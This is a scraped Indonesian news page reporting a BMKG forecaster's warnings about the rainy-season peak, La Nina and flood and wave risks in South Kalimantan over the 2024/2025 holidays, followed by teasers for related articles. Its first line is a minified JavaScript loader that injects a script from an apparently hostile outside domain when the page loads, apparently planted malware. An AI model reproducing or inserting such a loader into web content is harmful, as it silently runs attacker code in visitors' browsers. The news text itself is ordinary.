(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada libur Natal 2024 dan Tahun Baru 2025 (Nataru).
Badan Meteorologi, Klimatologi dan Geofisika (BMKG) memberikan peringatan kewaspadaan kepada masyarakat saat memilih lokasi liburan Nataru di Provinsi Kalsel.
Seperti halnya yang dijelaskan, Forecaster Iklim Stasiun Klimatologi Kalsel, Yosef Luky DP bahwa ada beberapa wilayah di Kalsel yang mundur musim hujannya, seperti pada Oktober dan November.
Baca juga: Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya
Hal itu membuat puncak musim hujan pada tahun 2024-2025 di Kalsel beragam, misal untuk wilayah Kota Banjarbaru atau secara umum yakni bulan Desember 2024.
“Namun ada juga di beberapa wilayah yang puncak hujannya nanti di bulan Maret, April, Mei hingga Juni,” ujar Forecaster Iklim Stasiun Klimatologi Kalsel kepada Kanalkalimantan.com.
Sedangkan Yosef menyebutkan, puncak musim hujan di sebagian besar wilayah Kalsel bagian barat itu terjadi pada bulan Desember.
Baca juga: Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor
Sedangkan untuk wilayah Kalsel bagian timur seperti Tanah Bumbu, Tanah Laut, dan Kabupaten Kotabaru puncak musim hujan berangsur-angsur pada Januari, Maret hingga Mei.
“Jadi sebagian besar sudah puncak musim hujan yaitu di bulan Desember, selanjutnya nanti di bulan Maret, April, Mei sampai dengan Juni,” sebut dia.
Dengan beragam puncak musim hujan di beberapa titik di Kalsel, kata Yosef membuat warga harus tetap berhati-hati memilih lokasi liburan saat libur Nataru.
Baca juga: Laka Maut di Kawasan Murdjani Banjarbaru, Satu Pemotor Jalan Melawan Arus
“Jadi pertama waspada untuk libur ke pantai, cuaca tidak menentu, angin kencang, dan intensitas hujan tinggi khususnya di bulan Desember dan Januari,” jelasnya.
“Artinya hindari yang terlalu dalam mainnya, di pantai tidak masalah tetapi tetap harus waspada dengan kondisi cuaca dan iklim di sekitarnya,” sambungnya.
Yosef mengimbau masyarakat pada libur Nataru ini untuk mempersiapkan dengan melihat informasi dari BMKG melalui media sosial, Instagram atau Whatsapp dan lain sebagainya.
Baca juga: Debit BRI Multicurrency: Solusi Transaksi Global Tanpa Biaya Tambahan
Dia menyimpulkan di wilayah Indonesia termasuk Kalsel, selain memasuki puncak musim hujan namun juga terjadi periode atau pengaruh iklim global yakni La Nina.
Walaupun La Nina lemah, tidak kuat atau sedang tetapi cukup memberikan dampak untuk menambah intensitas curah hujan.
Sehingga, efek atau dampaknya dari daerah-daerah yang biasa tergenang banjir pasti akan banjir saat ini.
“Selain sekarang curah hujan tinggi, ditambah adanya La-Nina yang menambah curah hujan, masyarakat khususnya yang sedang atau akan menghadapi libur Nataru waspada terhadap iklim yang terus berubah-ubah,” jelasnya lagi.
Demikian, bagi masyarakat yang tinggal di daerah pesisir juga perlu waspada karena intensitas ombak kemungkinan sedang tinggi-tingginya (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
This website uses cookies.